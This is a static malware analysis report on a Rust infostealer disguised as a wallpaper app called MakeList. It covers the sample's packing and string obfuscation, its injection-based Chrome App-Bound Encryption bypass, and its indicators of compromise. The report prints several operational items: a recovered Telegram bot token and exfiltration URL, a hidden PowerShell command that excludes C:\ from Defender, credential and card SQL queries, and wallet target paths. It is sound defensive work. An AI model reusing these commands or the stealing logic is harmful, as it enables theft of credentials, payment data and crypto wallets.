0. Preface
The previous sample in this repository arrived labelled RustyStealer and turned out not to be a stealer at all — it was a hVNC remote access trojan calling itself Bridge Agent. This one arrived under the same label and is exactly what it says on the tin — which is worth stating plainly, because the two samples share a folder name, a language, and nothing else.
Everything below is static analysis. The sample was never executed, no VM was detonated, and no request was made to its infrastructure — in particular, the recovered Telegram bot token was never queried against the API. Unpacking was done with upx -d, decompilation with kuna under rustabi auto, and the string layer with a Unicorn-based emulator driven from the shell.
The sample presents itself as a wallpaper application called MakeList, published by Accessible Tool Inc. The wallpapers are real. There are ten of them, they total roughly 72 MB, and they account for 95% of the file. That is not laziness or a botched build — it is the first and cheapest anti-analysis measure in the sample, and it works on the largest number of defenders.
Underneath the wallpaper is a Rust infostealer that statically links a public C++ tool to do one job the Rust code cannot: break Chrome’s App-Bound Encryption from inside the browser process.
1. Sample Information
- Original file name:
b90911b23eee913a11dc19e983910497c3822f2c0f12722672cb790cadf3f4fa.exe - File type: executable, 64-bit (PE32+), GUI subsystem
- File size: 75.893248 MB (79.712768 MB unpacked)
- Hash values:
- MD5:
4fb1d95832b2daa5125f7ff2e618df0b - SHA1:
8df2a2834beb8e7f61290ad647a943b76d37a7e9 - SHA256:
b90911b23eee913a11dc19e983910497c3822f2c0f12722672cb790cadf3f4fa
- MD5:
- Compiler: Rust (release), statically linked with a MSVC C++ component; Microsoft Linker 14.43.34808 (Visual Studio 2022, 17.13)
- Compile Timestamp: Thu May 21 03:05:14 2026 UTC
- Packing/Obfuscation: UPX 5.02 (LZMA, brute), plus two independent in-binary string obfuscation layers described in 3.3 and 3.4
- File Entropy Details (as delivered, packed):
| Sections | Entropy |
|---|---|
| UPX0 | 0.00 |
| UPX1 | 8.00 |
| .rsrc | 7.19 |
- File Entropy Details (after
upx -d):
| Sections | Entropy |
|---|---|
| .text | 6.47 |
| .rdata0 | 6.94 |
| .data | 4.27 |
| .pdataer | 6.20 |
| .reloc1s | 5.45 |
| .rsrcet | 7.98 |
The unpacked section names are mangled (.rdata0, .pdataer, .rsrcet, .jer1c2, .coun1r2) because upx -d reconstructs a twelve-section layout from a three-section stub and does not perfectly restore the original names. They are cosmetic; the contents are correct.
A note on the compression ratio. UPX reports 95.21% — it barely shrank the file. That single number is the tell: a packer achieving 5% on a 76 MB binary is not compressing code, it is failing to compress already-compressed data. In this case, JPEG.
2. PE File Structure
- Sections overview (after unpacking):
| Sections | Virtual Size | Raw Size |
|---|---|---|
| .text | 3051520 | 3051008 |
| .rdata0 | 3579904 | 3576832 |
| .data | 28672 | 25088 |
| .pdataer | 73728 | 70656 |
| .reloc1s | 24576 | 23552 |
| .rsrcet | 72941568 | 72940032 |
- Certificate: Unsigned. The Security Directory is zero-sized.
- Manifest:
requestedExecutionLevel level="asInvoker",dpiAware=true. No elevation is requested — remember this at section 3.8. - Exports: none (this is an EXE).
- Resources: this is where the file’s mass lives, and unusually, the resource directory survives packing intact — UPX leaves the tree readable so the loader can find the icon and version info. That makes the packed sample greppable without unpacking it:
| Resource | Type | Size |
|---|---|---|
50RES | RCDATA | 54,816,196 |
ABSTRACT-ART-5120X3413-26359 | RCDATA | 9,870,732 |
ALEX-POATAN-PEREIRA-5120X2880-26393 | RCDATA | 8,238,143 |
PESEREPS | GROUP_ICON | 20 |
1 | VERSION | 668 |
1 | MANIFEST | 540 |
- Version resource:
| Field | Value |
|---|---|
| CompanyName | Accessible Tool Inc. |
| ProductName | MakeList |
| FileDescription | Application for Deliver Specification |
| FileVersion | 5.1423.749.4000 |
| LegalCopyright | © 2026 Accessible Tool Inc. |
| InternalName | Project |
InternalName: Project is the Visual Studio default that nobody remembered to change, sitting next to a FileDescription that reads like machine-translated filler. The identity is fabricated.
- Suspicious imports, by what they enable:
| DLL | Functions | Enables |
|---|---|---|
| GDI32 | CreateDCW, CreateCompatibleDC, CreateCompatibleBitmap, StretchBlt, GetDIBits, SetStretchBltMode | screen capture |
| USER32 | EnumDisplayMonitors, GetMonitorInfoW, EnumDisplaySettingsExW | multi-monitor enumeration for capture |
| NTDLL | NtCreateNamedPipeFile, NtCreateFile, NtOpenFile, NtReadFile, NtWriteFile, NtDeviceIoControlFile | named-pipe IPC with the injected DLL (3.5) |
| KERNEL32 | CreateProcessW, GetProcAddress, LoadLibraryA/W | child process launch, dynamic API resolution |
| KERNEL32 | CreateMutexA/W, ReleaseMutex | single-instance control |
| ADVAPI32 | RegOpenKeyExW, RegQueryValueExW, CheckTokenMembership, AllocateAndInitializeSid | registry reads, privilege check |
| ADVAPI32 | SystemFunction036 | RtlGenRandom — nonce generation |
| CRYPT32 | CertOpenStore, CertGetCertificateChain, CertVerifyCertificateChainPolicy | TLS chain validation |
| SECUR32 | AcquireCredentialsHandleA, InitializeSecurityContextW, EncryptMessage, DecryptMessage | SChannel TLS for the C2 |
| WS2_32 | WSASocketW, connect, send, recv, getaddrinfo | network |
| OLE32 / OLEAUT32 | CoInitializeEx, CoInitializeSecurity, CoCreateInstance, SafeArray* | COM, used for WMI |
Two absences are informative. There is no CryptUnprotectData import, yet the string CryptUnprotectData appears in the decrypted string pool — DPAPI is resolved dynamically at runtime through GetProcAddress. And there is no WinHttp/WinInet at all: the HTTP stack is Rust’s own (reqwest/hyper) over raw sockets with SChannel TLS, so proxy-aware and WinInet-hooking telemetry will not see the exfiltration.
The crate list, recovered from the .cargo paths in the panic strings, describes the program before a single function is decompiled:
rusqlite (bundled SQLite), ring, aes / ctr / cipher, reqwest / hyper / hyper-tls / tokio, screenshots, png, zip / flate2 / bzip2 / zstd-safe, walkdir, wmi, regex / aho-corasick, serde_json, quick-xml, der-parser / asn1-rs, base64, hex, sha1_smol, widestring, schannel.
rusqlite beside walkdir beside zip beside reqwest is the canonical stealer shape: read databases, sweep files, archive, upload. screenshots and png add screen capture; wmi adds host profiling; der-parser and asn1-rs are there for Firefox’s NSS key material.
3. Code and Disassembly Observation
Symbols are stripped. kuna functions reports 7,246 functions, of which 606 carry names, and all 606 are import thunks. As with any Rust target, strings are the map — but in this sample the strings are obfuscated twice over, so the map has to be rebuilt before it can be read. Sections 3.2 through 3.4 are that reconstruction; 3.5 onward is what it revealed.
3.1 The bloat is the point
The 72 MB resource section is not padding, and it is not random filler used to inflate entropy. Every byte is a real, decodable JPEG. Eight of them live inside a nested Windows .RES container stored under the resource name 50RES; two more sit directly in the resource tree.
| Resource name | Dimensions | Size |
|---|---|---|
BLACK-ASTA-BLACK-5120X6093-22972 | 5120 × 6093 | 12,168,561 |
THE-HUNGER-GAMES-5120X5287-26297 | 5120 × 5287 | 10,778,096 |
ABSTRACT-ART-5120X3413-26359 | 5120 × 3413 | 9,870,732 |
TOYOTA-GR-SUPRA-5120X2880-22643 | 5120 × 2880 | 9,702,031 |
ALEX-POATAN-PEREIRA-5120X2880-26393 | 5120 × 2880 | 8,238,143 |
KAME-HOUSE-DRAGON-5120X2880-25003 | 5120 × 2880 | 8,008,884 |
AIRA-SHIRATORI-5120X3400-24621 | 5120 × 3400 | 6,470,847 |
ASTRONAUT-DARK-5120X2880-22768 | 5120 × 2880 | 6,407,140 |
KEN-TAKAKURA-8000X4000-22714 | 8000 × 4000 | 1,279,946 |
The naming convention — subject, resolution, a numeric ID — is that of a wallpaper aggregator site, and the images are consistent with a scraped set. The lure is coherent: a wallpaper app that ships wallpapers.
What it buys the operator is threefold. Many AV engines and nearly every automated sandbox pipeline enforce a maximum file size and will skip a 76 MB submission outright. Whole-file entropy, the standard packer heuristic, reads 7.98 and looks like compressed media rather than a packed executable. And an analyst opening the resource tree first sees exactly what the version resource promised.
The actual malware is the 3 MB .text section. Everything in this report comes from 4% of the file.
3.2 Rebuilding the source tree from panic metadata
The binary is stripped, but Rust cannot strip panic locations: core::panic::Location records — a pointer to a file path, its length, a line and a column — must survive into the release binary because the runtime formats them when a panic fires.
Scanning .rdata for 24-byte structures whose first quadword points into a section and whose fourth field is a plausible line number recovers 158 author panic sites. Cross-referencing those addresses against lea reg, [rip+disp] instructions in .text then attributes each one to the function that references it, which reconstructs the author’s module layout and maps it onto real addresses:
| Source file | Function | Role |
|---|---|---|
src\main.rs | 0x14004cbaa | orchestration, recon, archive, exfiltration |
src\chromium\dumper.rs | 0x1400676f2, 0x14007d7c7 | Chromium credential/cookie/card extraction |
src\chrome_nuke.rs | 0x14005c459, 0x14006195e, 0x140062aa4 | browser termination, ABE bypass driver |
src\firefox\firefox.rs | 0x14004cbaa, 0x1400638d5, 0x140065c5d | NSS decryption, logins.json |
src\firefox\mod.rs | 0x14004cbaa | profile enumeration |
src\wallets\mod.rs | 0x140007859 | desktop wallet directories |
src\misc\discord.rs | 0x14004243e | Discord token scraping |
src\misc\sensitive_data.rs | 0x140002546 | Desktop/Documents grabber |
src\misc\vpn.rs | 0x140002546 | VPN client configs |
src\misc\uplay.rs | 0x140002546 | Ubisoft Game Launcher |
src\messengers\element.rs | 0x14004cbaa | Element (Matrix) |
src\messengers\skype.rs | 0x14004cbaa | Skype for Desktop |
The highest line numbers seen per file give a rough size for each module — dumper.rs reaches line 1361, main.rs line 649, everything else under 350. The bulk of the engineering is in Chromium extraction.
The build paths leak two environments: C:\Users\user1\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ for the Rust half, and a Docker-style /rust/deps\ root for a handful of vendored crates. rustc-demangle is vendored in, which is unusual for a stealer and suggests the author reuses a template that formats its own backtraces.
3.3 Layer one: XOR behind five hundred pointer-derivation functions
strings on the unpacked binary returns no wallet names, no browser extension IDs, and no C2. Searching for Exodus, MetaMask, Electrum and thirty other obvious targets returns zero hits. The target lists are obfuscated.
Decompiling src\wallets\mod.rs shows the shape of it — a loop that XORs eight bytes at a time against a fixed .rdata address. Dropping to disassembly gives the real structure:
lea rax,[rip+0x2d46cb] ; 0x1402dc2cc <- base pointer
movabs rax,0x9aae5f39e10305b3 ; <- 64-bit seed
call 0x14001616b ; <- derivation routine
xor ecx,ecx
lea rdx,[rip+0x2e3b11] ; 0x1402eb758 <- XOR key
movzx r9d,BYTE PTR [rax+rcx*1] ; <- rax is the CALL RESULT
...
xor r8,QWORD PTR [rcx+rdx*1]
cmp rcx,0x18
The lea is not the ciphertext address. It is a base that gets handed, with a seed, to a small arithmetic routine:
imul rax,rdx,0x9a7467b
mov rdx,rax
shr rdx,1
xor rdx,rax
add rdx,0xffffffffe756e27a
mov rax,rdx
rol rax,1
xor eax,edx
movzx eax,ax ; fold to 16 bits
add rax,rcx ; base + offset
ret
The routine folds the seed to a 16-bit offset and adds it to the base. The ciphertext therefore has no direct reference anywhere in the binary — only a base pointer that lands somewhere else entirely, plus a magic number. Decryption is then a plain XOR against a key held in a separate .rdata region.
The scaling problem is that each string gets its own derivation routine. Searching .text for functions ending in add rax, rcx; ret finds 506 of them, nearly all with exactly one call site, each using different multipliers and constants. Hand-decoding does not scale, and a pattern-matcher on the arithmetic would need to handle 506 variants.
Emulation does scale. Mapping the image into Unicorn, locating every call site, recovering the base from the preceding lea and the seed from the preceding movabs, then executing the derivation routine yields the ciphertext address directly. String lengths come from the decrypt stub itself — the maximum byte-load displacement plus one, since the compiler unrolls the tail:
ct_addr = emulate(routine, base, seed)
plaintext = ct[i] ^ key[i] for i in 0..len
len = max(byte-load displacement) + 1
That recovered 166 unique strings. Verifying the first one against the wallets module gives %APPDATA%\atomic\Local Storage\leveldb\ — Atomic Wallet, exactly where a stealer would look. Everything in 3.6 and 3.7 comes out of this pool.
3.4 Layer two: AES-256-GCM and the Telegram config
The C2 credentials are not in the layer-one pool. The format string is visible in .rdata:
https://api.telegram.org/bot{}/sendDocument?chat_id={}&caption={}&parse_mode=HTML
but both substitutions are filled at runtime from sub_140060bad, which the panic metadata attributes to main.rs lines 132–133. That function is called exactly twice, with two adjacent blobs:
lea rdx,[rip+0x501242] ; 0x140558210, length 0x4a (74)
call 0x140060bad
lea rdx,[rip+0x501270] ; 0x14055825a, length 0x27 (39)
call 0x140060bad
Inside, five layer-one strings are decrypted and appended to a single Vec via extend_from_slice. Recovering all five — the fifth uses inline immediate keys rather than a .rdata key region — gives an 88-byte passphrase:
"FGhuweweSq!2?uRe!" // 17
"NSADGhqwwewedsa@!" // 17
"nasdqwqSdsdwrsie2s!t3" // 21
"pgfwrW!Sdwesdwwq1s3" // 19
"pNeGerhgetWer3" // 14 = 88 bytes
The 74-byte blob length is the giveaway for the scheme. 74 = 12 + 46 + 16: a 12-byte nonce, a 46-byte plaintext, and a 16-byte tag — and 46 characters is exactly the length of a Telegram bot token. That is AES-GCM with ring’s default nonce size, and ring 0.16.20 is in the crate list.
key = SHA256(concat(parts)) // 32 bytes, AES-256
blob = nonce[12] ‖ ciphertext ‖ tag[16]
Both blobs decrypt and authenticate:
bot_token: 8710006622:AAHglf04vvsSVKGe7o3woIqkv1PteWZkRts
chat_id: -5274674856
This is worth stating precisely, because it is the difference between a recovered indicator and a guessed one: GCM verifies the tag before returning plaintext. A wrong key does not produce plausible-looking garbage, it produces an exception. These two values are cryptographically confirmed, not inferred from pattern-matching.
3.5 ChromElevator: defeating App-Bound Encryption
Chrome 127 and later bind the os_crypt key to the browser executable through App-Bound Encryption. Reading Local State, base64-decoding encrypted_key and calling CryptUnprotectData — the technique every stealer used for a decade — no longer returns a usable key. The sample handles this by not attempting it from outside.
Around file offset 0x2fc4ac sits an ASCII banner spelling ChromElevator, followed by:
Direct Syscall-Based Reflective Hollowing
x64 & ARM64 |
by @xaitax
This is public offensive-security tooling, statically linked into the Rust binary with its author’s credit and its verbose status strings intact. It ships with a ~1 MB AES-encrypted payload DLL at 0x1402ff200 — the only genuinely high-entropy region in .rdata (1,073,664 bytes at 7.98) — which is decrypted only in memory.
The status strings lay out the whole chain in order:
Terminating browser processes...
[+] Processes terminated (PID:
Creating suspended process:
[+] Process created (PID:
[+] IPC pipe established:
Awaiting payload connection...
[+] Payload connected
Deriving runtime decryption keys...
[+] Payload decrypted (
[+] Bootstrap entry point resolved (offset: 0x
Allocating memory in target process via syscall...
[+] Memory allocated at 0x
[+] Payload + parameters written
[+] Memory protection set to PAGE_EXECUTE_READ
Creating remote thread via syscall...
[+] Thread created (entry: 0x
Reading that as a sequence:
taskkill /F /IMagainstchrome.exeandmsedge.exe, releasing the SQLite locks.- Locate the install through native NT registry paths —
\Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\, theUninstallkeys, andStartMenuInternet\...\shell\open\command— rather than the Win32 registry API. - Parse the target’s PE headers and compare architecture, refusing on mismatch with
Solution: Use chromelevator_. - Launch the real browser suspended with
--no-startup-window --headless. CreateNamedPipeW/ConnectNamedPipefor the result channel.- Derive keys and decrypt the payload DLL in memory — it never touches disk in plaintext.
- Allocate in the target via direct syscall, write payload and parameters, set
PAGE_EXECUTE_READ. - Create the remote thread via direct syscall at a resolved bootstrap offset.
- Read tagged records back over the pipe until
__DLL_PIPE_COMPLETION_SIGNAL__.
Targets are enumerated in UTF-16 as Chrome, Chrome Beta, Edge, Brave, and Avast Secure Browser. The component distinguishes an App-Bound Encryption Key from a Copilot App-Bound Encryption Key, and reports NO_ABE:No encryption key found in Local State when the protection is absent — with the Rust side carrying the matching string App-Bound Encryption not enabled.
The pipe protocol is tagged plaintext, which makes it the best host-based detection surface in the sample:
DEBUG: PROFILE: NO_ABE: ASTER_KEY: COOKIES: PASSWORDS: CARDS: IBANS: TOKENS:
__DLL_PIPE_COMPLETION_SIGNAL__
The significance of the direct-syscall path is that both the allocation and the thread creation bypass user-mode ntdll hooks, and the code runs inside a legitimate, Google-signed browser process that the user genuinely launched. Process lineage and userland API hooking — the two things most endpoint products lean on — are both weak here.
3.6 What the SQL asks for
Separating the sample’s own queries from bundled SQLite internals leaves a short list, and the last three are the interesting ones:
-- credentials and cookies
SELECT origin_url, username_value, password_value FROM logins
SELECT action_url, username_value, password_value FROM logins
SELECT host_key, name, path, is_secure, is_httponly, expires_utc,
encrypted_value FROM cookies
SELECT name, value FROM autofill
-- payment instruments
SELECT guid, name_on_card, expiration_month, expiration_year,
card_number_encrypted FROM credit_cards
SELECT guid, value_encrypted FROM local_stored_cvc
SELECT value_encrypted, nickname FROM local_ibans
-- Google account tokens
SELECT service, encrypted_token, binding_key FROM token_service
SELECT service, encrypted_token FROM token_service
local_stored_cvc is the stored card verification code. local_ibans is stored bank account numbers. token_service with binding_key is Chrome’s Google account token store — those tokens permit session resumption without a password and without a second factor.
An operator taking passwords is after credential resale. An operator taking CVCs, IBANs and bound session tokens is after payment fraud and direct account takeover. This is a deliberate target selection, not a copied query set.
Firefox is handled on its own path. The sample carries the PKCS#5 OIDs 1.2.840.113549.1.5.13 (PBES2) and 1.2.840.113549.3.7 (des-EDE3-CBC), queries SELECT item1, item2 FROM metadata WHERE id = 'password' and SELECT a11,a102 FROM nssPrivate, and checks password-check — the standard key4.db master-password derivation, implemented natively rather than by loading nss3.dll. Profiles come from Mozilla\Firefox\Profiles\, and output lands in Passwords\Firefox\.
Host recon runs over WMI:
SELECT Caption FROM Win32_OperatingSystem
SELECT Name FROM Win32_Processor
SELECT Name, CurrentHorizontalResolution, CurrentVerticalResolution FROM Win32_VideoController
SELECT SerialNumber FROM Win32_BaseBoard
SELECT displayName FROM AntiVirusProduct -- root\SecurityCenter2
with system locale obtained by shelling out to powershell.exe -NoProfile -NonInteractive -NoLogo -Command Get-Culture | Select -ExpandProperty DisplayName, and geolocation from http://ipwho.is/?output=json — over cleartext HTTP, parsing ip, country, country_code, city, postal, isp, asn and timezone.
3.7 Wallets, extensions, and the password managers
Eleven desktop wallet directories are read directly:
%APPDATA%\atomic\Local Storage\leveldb\
%APPDATA%\exodus\exodus.wallet\
%APPDATA%\Electrum\wallets\
%APPDATA%\Ethereum\keystore\
%APPDATA%\Bitcoin\
%APPDATA%\bytecoin\
%APPDATA%\Armory\
%APPDATA%\Guarda\Local Storage\leveldb\
%APPDATA%\com.cakewallet.cake_wallet\Cake Wallet\wallets\
%APPDATA%\Wallets\Jaxx\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
%LOCALAPPDATA%\Coinomi\Coinomi\wallets\
Alongside those, 73 browser extension IDs are collected from Default\Local Extension Settings\ and Default\IndexedDB\. The list covers the expected wallets — MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), Coinbase, Binance, Phantom, TronLink, Ronin, Keplr, Maiar, Glow, Hycon — but it also includes, by the plaintext labels sitting beside the IDs in the same string pool, several password managers:
Norton Password Manager admmjipmmciaobhojoghlmleefbicajg
Avira Password Manager caljgklbbfbcjjanaijlacgncafpegll
Trezor Password Manager imloifkgjagghnncjkhggdhalmcnfklk
EOS Authenticator oeljdldpnmdbchonielidgobddffflal
A password manager extension store is a higher-value target than any single wallet, and its presence alongside local_stored_cvc and token_service reinforces the read in 3.6.
Browser profile coverage is broad — Chrome Default plus Profile 1 through Profile 5 and Chrome SxS, Edge, Brave, Yandex, Opera Stable and Opera GX, Vivaldi, CentBrowser, Orbitum, 7Star, Sputnik, Iridium, Uran, and Epic Privacy Browser.
Discord tokens are scraped from LevelDB with the regex [\w-]{24}\.[\w-]{6}\.[\w-]* and written to Discord/tokens.txt. Element (Matrix) and Skype for Desktop local storage are collected from \Element\ and Microsoft\Skype for Desktop\Local Storage\. FileZilla contributes recentservers.xml. A document grabber sweeps \Desktop\ and \Documents\.
3.8 The Defender exclusion, and what is missing around it
The most consequential single string in the sample:
powershell.exe -WindowStyleHidden Set-MpPreference -ExclusionPath C:\
A hidden PowerShell process adding the entire system drive as a Microsoft Defender exclusion. Paired with it is a drop primitive built the same way:
') | [System.IO.File]::WriteAllBytes('
used to write chromelevator_x64.exe and chrome_decrypt_x64.dll to disk.
This is where the manifest from section 2 matters. Set-MpPreference requires administrative privilege, and the binary requests asInvoker — it does not ask for elevation, and there is no UAC bypass, token manipulation, or runas path anywhere in the sample. On a standard user account this call should simply fail. The malware issues it unconditionally and does not appear to check the result. Either the operator assumes admin-by-default home machines, or this is copied boilerplate that fires and fails silently. Statically I cannot distinguish those, and 6.2 records it as unresolved.
What is absent is as informative as what is present. There is no persistence mechanism — no Run key, no scheduled task, no service, no Startup folder write anywhere in the string pool or the import table. There are no VM, sandbox, or debugger checks of the sample’s own (IsDebuggerPresent is imported, but only by the MSVC CRT). The string Just a garbage string sits in .rdata as apparent filler.
This is a single-shot smash-and-grab: run once, take everything, upload, exit.
3.9 Staging and exfiltration
Collected data is staged into a directory tree that the layer-one strings lay out completely — \Passwords\, \Cookies\, \Creditcards\, \Autofill\, \Wallets\, \Element\, \Skype\, with flat files passwords.txt, creditcards.txt, autofill.txt, user_info.txt, ]_Network.txt, and screenshots as \screen<N>.png.
The tree is archived with PowerShell:
Compress-Archive -Path ... -Destination ... -CompressionLevel Fastest -Force
producing out.zip, which is uploaded as a Telegram document with MIME type application/zip. The caption carries the victim summary — a -- Log Info - header followed by IP, country, city, ISP, and counts of cookies, passwords and profiles, with %0A as the line separator and parse_mode=HTML.
https://api.telegram.org/bot8710006622:AAHglf04vvsSVKGe7o3woIqkv1PteWZkRts
/sendDocument?chat_id=-5274674856&caption=<summary>&parse_mode=HTML
Fallback values country_code, XX and 0.0.0.0 sit next to the geolocation fields, so exfiltration proceeds even when the ipwho.is lookup fails.
4. Malware Capabilities
- Command and Control:
- Single hardcoded Telegram bot, credentials AES-256-GCM encrypted in
.rdata, key derived asSHA256of five concatenated XOR-obfuscated strings POST https://api.telegram.org/bot<token>/sendDocument— exfiltration and C2 are the same channel; there is no command retrieval, no tasking, no beacon- TLS via SChannel through Rust’s own HTTP stack, not WinHTTP/WinInet
- Single hardcoded Telegram bot, credentials AES-256-GCM encrypted in
- Defense Evasion:
- UPX 5.02 (LZMA) packing
- 72 MB of genuine JPEG wallpaper inflating the file past sandbox and AV size limits and disguising whole-file entropy as compressed media
- Forged version resource (
Accessible Tool Inc./MakeList) - Two independent string obfuscation layers — per-string pointer derivation plus XOR, and AES-256-GCM for the C2
Set-MpPreference -ExclusionPath C:\via hidden PowerShell (privilege-dependent — see 6.2)- Direct syscalls for remote allocation and thread creation, bypassing user-mode
ntdllhooks - Code executes inside a legitimate signed browser process
- Dynamic resolution of
CryptUnprotectDatarather than importing it
- Credential Access:
- Chromium
logins,cookies,autofill,credit_cards,local_stored_cvc,local_ibans,token_service(includingbinding_key) - Chrome App-Bound Encryption bypass via statically linked ChromElevator (
@xaitax) — reflective hollowing of Chrome, Chrome Beta, Edge, Brave, Avast Secure Browser; handles the distinct Copilot ABE key - Firefox/Gecko: native NSS
key4.dbdecryption (PBES2 + des-EDE3-CBC),logins.json, master-password check - 73 browser extension stores, including Norton, Avira and Trezor password managers and EOS Authenticator
- Discord tokens by regex from LevelDB
- Chromium
- Collection:
- 11 desktop wallet directories (Atomic, Exodus, Electrum, Ethereum keystore, Bitcoin, Bytecoin, Armory, Guarda, Cake, Jaxx, Coinomi)
- Multi-monitor screen capture via GDI, encoded as PNG
- Desktop and Documents document grabber
- Element (Matrix), Skype for Desktop, FileZilla
recentservers.xml, VPN client configs, Ubisoft Game Launcher - Host profile via WMI (OS, CPU, GPU, resolution, baseboard serial), installed AV via
root\SecurityCenter2, locale via PowerShellGet-Culture - Geolocation via
http://ipwho.is/?output=json
- Impact / Execution:
taskkill /F /IMagainstchrome.exeandmsedge.exeto release database locks- Drops and executes
chromelevator_x64.exeandchrome_decrypt_x64.dll
- Persistence:
- None. No Run key, scheduled task, service, or Startup artifact exists in the sample.
What it does not do: retrieve commands, maintain a foothold, spread laterally, deploy a loader stage, or check for virtualisation. This is collection and exit.
5. Indicators of Compromise
| Type | Value |
|---|---|
| SHA256 | b90911b23eee913a11dc19e983910497c3822f2c0f12722672cb790cadf3f4fa |
| SHA1 | 8df2a2834beb8e7f61290ad647a943b76d37a7e9 |
| MD5 | 4fb1d95832b2daa5125f7ff2e618df0b |
| Telegram bot token | 8710006622:AAHglf04vvsSVKGe7o3woIqkv1PteWZkRts |
| Telegram chat ID | -5274674856 |
| C2 endpoint | https://api.telegram.org/bot<token>/sendDocument |
| Geolocation URL | http://ipwho.is/?output=json (cleartext HTTP) |
| Version resource | Accessible Tool Inc. / MakeList / Application for Deliver Specification / 5.1423.749.4000 |
| Resource names (survive packing) | 50RES, PESEREPS, ABSTRACT-ART-5120X3413-26359, ALEX-POATAN-PEREIRA-5120X2880-26393 |
| Dropped file | chromelevator_x64.exe |
| Dropped file | chrome_decrypt_x64.dll |
| Staged archive | out.zip (application/zip) |
| Staged files | user_info.txt, passwords.txt, creditcards.txt, autofill.txt, ]_Network.txt, screen<N>.png |
| Staged directories | \Passwords\, \Cookies\, \Creditcards\, \Autofill\, \Wallets\, \Element\, \Skype\ |
| Working directories | chrome_nuke_backup, extensions_backup |
| Discord output | Discord/tokens.txt |
| Firefox output | Passwords\Firefox\, Firefox_qnq0haq7.default-release.txt |
| IPC pipe marker | __DLL_PIPE_COMPLETION_SIGNAL__ |
| IPC record tags | DEBUG:, PROFILE:, NO_ABE:, ASTER_KEY:, COOKIES:, PASSWORDS:, CARDS:, IBANS:, TOKENS: |
| Command | powershell.exe -WindowStyleHidden Set-MpPreference -ExclusionPath C:\ |
| Command | Compress-Archive -Path ... -CompressionLevel Fastest -Force |
| Command | taskkill /F /IM chrome.exe / msedge.exe |
| Browser flags | --no-startup-window --headless |
| Embedded tool banner | Direct Syscall-Based Reflective Hollowing, by @xaitax |
| Config key material | FGhuweweSq!2?uRe!NSADGhqwwewedsa@!nasdqwqSdsdwrsie2s!t3pgfwrW!Sdwesdwwq1s3pNeGerhgetWer3 |
| Filler string | Just a garbage string |
| Build path | C:\Users\user1\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\ |
| Build path | /rust/deps\ |
| Discord token regex | [\w-]{24}\.[\w-]{6}\.[\w-]* |
A note on hunting. The single highest-fidelity signal here is Set-MpPreference -ExclusionPath C:\ from a non-elevated, non-administrative process — excluding the entire system drive has essentially no legitimate occurrence, and because the sample never elevates, the failed attempt is just as loggable as a successful one. Second is the sequence taskkill /F /IM chrome.exe followed within seconds by a Chrome launch carrying --headless --no-startup-window from a non-browser parent, then a named pipe created by that same parent — that ordering is the ChromElevator chain and is specific to it. Third, at the file level, the resource names 50RES and PESEREPS survive UPX packing, so they are greppable on the sample as delivered without unpacking anything.
For the network side, the bot token is the whole channel: revoking it via BotFather, or blocking api.telegram.org egress from workstations that have no business reaching it, severs the operator’s collection entirely. There is no fallback C2, no domain generation, and no dead drop.
Finally, size-based scanning exclusions deserve a look after this sample. A 76 MB executable that is 95% JPEG defeats a file-size cap trivially, and the technique costs the operator nothing but bandwidth.
6. Analysis Limitations
Four things could not be settled statically, and it is worth separating properties of the sample from gaps in the analysis:
Roughly 340 of the ~500 layer-one obfuscation sites did not yield strings. The automated extraction requires a recognisable
lea+movabs+callshape ahead of each derivation call and aleafor the key after it; call sites where the compiler scheduled those differently, spilled the base to stack, or reused a register were skipped. The 166 strings recovered are a floor on the target list, not a ceiling — in particular, the wallet and extension inventories in 3.7 should be read as “at least these”, and any per-victim configuration that might exist would sit in the unrecovered remainder.Whether the Defender exclusion succeeds is unresolved. The command requires administrative privilege; the manifest requests
asInvoker; there is no elevation path in the sample. Whether the operator relies on admin-by-default consumer machines, or whether this is inherited boilerplate that fails silently, cannot be determined without executing on both a standard and an elevated account.The injected DLL was not analysed. The ~1 MB payload at
0x1402ff200is AES-encrypted with keys derived at runtime inside the ChromElevator component (Deriving runtime decryption keys...), and I did not reproduce that derivation. Everything reported about the injected stage in 3.5 comes from the injector’s own strings and the pipe protocol — the tags it emits are known, but its full behaviour inside the browser process is not. Anyone continuing this should breakpoint after[+] Payload decrypted (and dump the plaintext DLL from memory rather than attacking the blob statically.Two functions were read only in part.
sub_14004cbaa— the orchestrator, carryingmain.rs, both messenger modules andfirefox/mod.rsinlined into it — is large enough that kuna’s output is dominated by monomorphised iterator chains, andsub_1400676f2(chromium/dumper.rs, reaching line 1361) has the same problem. The API sequences, SQL, and constants reported above were confirmed against disassembly, but the full control flow of both was not walked, so the ordering of collection steps in 3.9 is inferred from the staging layout rather than traced.
Nothing here was validated dynamically. The sample was not executed, and the Telegram token was never contacted — so the C2’s liveness at time of writing is unknown, and the behaviours in section 4 are capabilities present in the code rather than observed actions.
Treat as an infostealer with a current Chrome App-Bound Encryption bypass. Unlike the previous RustyStealer-labelled sample in this repository, the folder label is accurate this time. The distinguishing features are the ABE bypass — which defeats the protection that broke most older cookie stealers, and does so from inside a signed browser process using direct syscalls — and a target list that reaches past passwords into stored CVCs, IBANs, bound Google session tokens, and password-manager extension stores. Against that, the tradecraft has plain seams: unmodified public tooling with its author’s banner left in, a single hardcoded bot with no fallback, and no persistence at all.